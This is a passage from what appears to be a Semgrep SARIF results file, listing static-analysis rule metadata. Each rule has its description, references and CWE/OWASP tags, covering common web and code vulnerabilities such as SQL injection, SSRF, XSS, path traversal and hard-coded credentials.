Rule](https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash)\n - [https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile](https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile)\n","text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"helpUri":"https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","id":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","name":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","id":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","name":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"help":{"markdown":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment)\n - [https://cwe.mitre.org/data/definitions/915.html](https://cwe.mitre.org/data/definitions/915.html)\n - [https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md](https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md)\n","text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment","id":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","name":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.audit.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","id":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","name":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","id":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","name":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"help":{"markdown":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters)\n - [https://trojansource.codes/](https://trojansource.codes/)\n","text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"helpUri":"https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters","id":"generic.unicode.security.bidi.contains-bidirectional-characters","name":"generic.unicode.security.bidi.contains-bidirectional-characters","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.unicode.security.bidi.contains-bidirectional-characters"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password","id":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","name":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-empty-password.pgx-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role","id":"json.aws.security.wildcard-assume-role.wildcard-assume-role","name":"json.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django","id":"python.django.deserialization.tainted-dill-django.tainted-dill-django","name":"python.django.deserialization.tainted-dill-django.tainted-dill-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-dill-django.tainted-dill-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors","id":"php.lang.security.php-permissive-cors.php-permissive-cors","name":"php.lang.security.php-permissive-cors.php-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.php-permissive-cors.php-permissive-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"help":{"markdown":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return)\n - [https://pkg.go.dev/sync#Mutex](https://pkg.go.dev/sync#Mutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","id":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","name":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-unlock-before-return.missing-unlock-before-return"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-flask.sqlobject-flask","id":"python.flask.db.sqlobject-flask.sqlobject-flask","name":"python.flask.db.sqlobject-flask.sqlobject-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-flask.sqlobject-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","id":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","name":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"help":{"markdown":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in {url: ...} can result in Open Redirect vulnerability."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","id":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","name":"typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-open-redirect.nestjs-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic Secret detected"},"help":{"markdown":"Generic Secret detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Generic Secret detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-secret.detected-generic-secret","id":"generic.secrets.security.detected-generic-secret.detected-generic-secret","name":"generic.secrets.security.detected-generic-secret.detected-generic-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-secret.detected-generic-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","id":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","name":"python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-false.flask-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","id":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","name":"csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint-grpc.mongodb-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `phantom` page methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.phantom.security.audit.phantom-injection.phantom-injection","id":"javascript.phantom.security.audit.phantom-injection.phantom-injection","name":"javascript.phantom.security.audit.phantom-injection.phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.phantom.security.audit.phantom-injection.phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","id":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","name":"python.fastapi.file.tainted-shelve-fastapi.tainted-shelve-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: 